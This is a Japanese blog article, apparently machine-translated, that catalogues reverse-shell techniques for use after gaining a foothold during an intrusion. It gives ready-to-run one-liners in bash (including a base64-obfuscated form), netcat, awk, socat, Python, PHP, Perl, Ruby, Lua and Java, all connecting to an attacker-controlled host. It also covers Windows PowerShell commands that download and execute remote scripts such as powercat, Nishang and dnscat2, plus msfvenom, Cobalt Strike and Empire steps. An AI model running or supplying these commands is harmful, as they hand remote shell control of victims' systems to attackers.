バウンスシェルのいくつかのポーズをまとめたもの
侵入プロセスでは、ポート制限によりターゲットマシンに直接接続できないことが多いため、さらに深く侵入を続けるためにはシェルをバウンスして対話型シェルを取得する必要があります。
バウンスシェルは、イントラネットのアクセスを開放する最初のステップであり、権限昇格のプロセスにおいて重要なステップとなります。すべてのポーズはウェブから照合され、例えば、攻撃者がホストしていると仮定します。例えば、攻撃者が 192.168.99.242 をホストし、ローカルにポート 1234 でリッスンしていると仮定します。
Linux バウンスシェル
ポーズ1:bashバウンス
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
base64 version: bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{{base64,-d}|{bash,-i}'
オンラインコーディングアドレスです。
http://www.jackson-t.ca/runtime-exec-payloads.html
その他のバージョン
exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0
ポーズ2:ncバウンス
nc -e /bin/bash 192.168.99.242 1234
ポジション3:awkバウンス
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
ポーズ4:telnetバウンス
注意:攻撃側ホストのポート1234と4321をそれぞれリッスンする必要があります。bounceシェルコマンドを実行した後、1234番端子と4321番端子にコマンドを入力し、コマンド実行後の結果を確認します。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
ポーズ5:ソカットバウンス
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
ポーズ6 パイソンバウンス
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os. dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
ポーズ7 PHPバウンス
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ポーズ8 パールバウンス
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S, sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">& S");exec("/bin/sh -i");};'
ポーズ9 ルビーバウンス
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&% d",f,f,f)'
ポーズ10:ルアバウンス
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >& amp;3 2>&3');"
ポーズ11: JAVA Bounce
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $ line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
Revs.javaファイルとして保存し、コンパイルして実行すると、正常にシェルがバウンスされました。
javac Revs.java
java Revs
Windowsバウンスシェル
ポーズ1:ncバウンス
netcat ダウンロード。
https://eternallybored.org/misc/netcat/
サーバー側バウンス: nc 192.168.99.242 1234 -e c:\windowssystem32cmd.exe
ポジション2:Powershellバウンス
powercatはnetcatのpowershell版で、netcatよりもはるかに優れた無機能の殺傷能力を持っています。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/ master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
ターゲットマシーンにダウンロードし、ローカルで実行する。
PS C:\WWW> Import-Module . /powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
ポーズ3:MSFバウンスシェル
msfvenomを使用して、関連するPayloadを生成します。
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
ポーズ4:コバルトストライクバウンスシェル
1. リスナーを設定します。Cobalt Strike --> Listeners --> 下部のタブメニューListenersで、addをクリックします。
2、ペイロードを生成する。攻撃-->パッケージ-->Windows実行ファイルをクリックし、ファイルの場所を保存します。
3. 3. ターゲットマシン上でpowershellペイロードを実行する。
ポーズ5:エンパイア・バウンス・シェル
usestager windows/launcher_vbs
set
set Listener test
execute
ポーズ6:ニシャンバウンスシェル
逆TCPシェル。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/ 9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
UDPシェルを逆向きにする。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/ 9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
ポーズ7 Dnscatバウンスシェル
githubプロジェクトのアドレスです。
https://github.com/iagox86/dnscat2
サーバー側
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
対象ホスト
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/ master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
これは、バウンスシェルのいくつかの姿勢に関するこの記事の終わりです、より関連するバウンスシェルの内容は、スクリプトハウスの以前の記事を検索してくださいまたは、次の関連記事を閲覧し続けるあなたは将来的にスクリプトハウスをよりサポートすることを願って!.
関連
-
シェルスクリプトによる複数インスタンスでのnginxのデプロイメントの詳細チュートリアル
-
シェルは現在実行中のスクリプトの絶対パスを取得する
-
Linuxにおけるnohupとバックグラウンド実行プロセスの表示と終了
-
シェルプログラミング。変数の高度な使い方
-
Shell() は整数に対する数学演算を実装しています。
-
Linux端末でコマンド出力をファイルに保存する方法
-
シェルevalの環境変数を変数で取得する方法
-
LinuxのシェルスクリプトでローカルのIPアドレスを取得する方法
-
Bashのトリック:変数を改行に割り当てる(ファイルが改行で終わっているかどうかを判断するため)
-
Webサイトが生きているかどうかを一括でチェックするスクリプト
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン